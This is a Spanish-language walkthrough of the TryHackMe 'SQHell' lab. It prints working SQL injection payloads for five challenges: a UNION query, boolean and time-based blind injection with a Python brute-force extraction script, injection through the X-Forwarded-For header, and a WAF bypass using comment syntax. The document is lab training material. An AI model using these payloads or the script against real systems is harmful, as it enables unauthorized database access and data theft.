TryHackMe Medium Web SQLi Blind SQLi

SQHell

Cinco retos de SQL injection: in-band, blind booleano, blind time-based y bypass de WAF. Enfocado en técnicas manuales de explotación SQLi.

2023 ~120 min cat4clysm
Herramientas utilizadas
burp suite sqlmap curl python scripting

Flag 1 — In-Band SQLi

Inyección directa en parámetro GET, los resultados se reflejan en la respuesta.

root@kali:~$
GET /?id=1 UNION SELECT 1,flag,3 FROM flags-- -
THM{flag1...}

Flag 2 — Blind Boolean SQLi

No hay output visible — inferimos datos carácter a carácter por verdadero/falso.

GET /?user=admin' AND SUBSTRING((SELECT flag FROM flags LIMIT 1),1,1)='T'--

Script Python para automatizar la extracción:

import requests
flag = ""
for i in range(1, 50):
    for c in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_":
        payload = f"admin' AND SUBSTRING((SELECT flag FROM flags),{i},1)='{c}'-- -"
        r = requests.get(f"http://TARGET/?user={payload}")
        if "Welcome" in r.text:
            flag += c
            break
print(flag)

Flag 3 — Blind Time-Based SQLi

Sin diferencia en la respuesta — usamos SLEEP() para inferir datos.

GET /?id=1' AND IF(SUBSTRING((SELECT flag FROM flags),1,1)='T', SLEEP(3), 0)-- -

Si la respuesta tarda 3 segundos, el carácter es correcto.

Flag 4 — Header Injection

La inyección está en el header X-Forwarded-For:

GET / HTTP/1.1
X-Forwarded-For: 1' UNION SELECT flag,2 FROM flags-- -

Flag 5 — WAF Bypass

El WAF bloquea palabras clave como SELECT, UNION. Bypass con case mixing y comentarios:

GET /?id=1 /*!UNION*/ /*!SELECT*/ 1,flag,3 FROM flags-- -

Lecciones aprendidas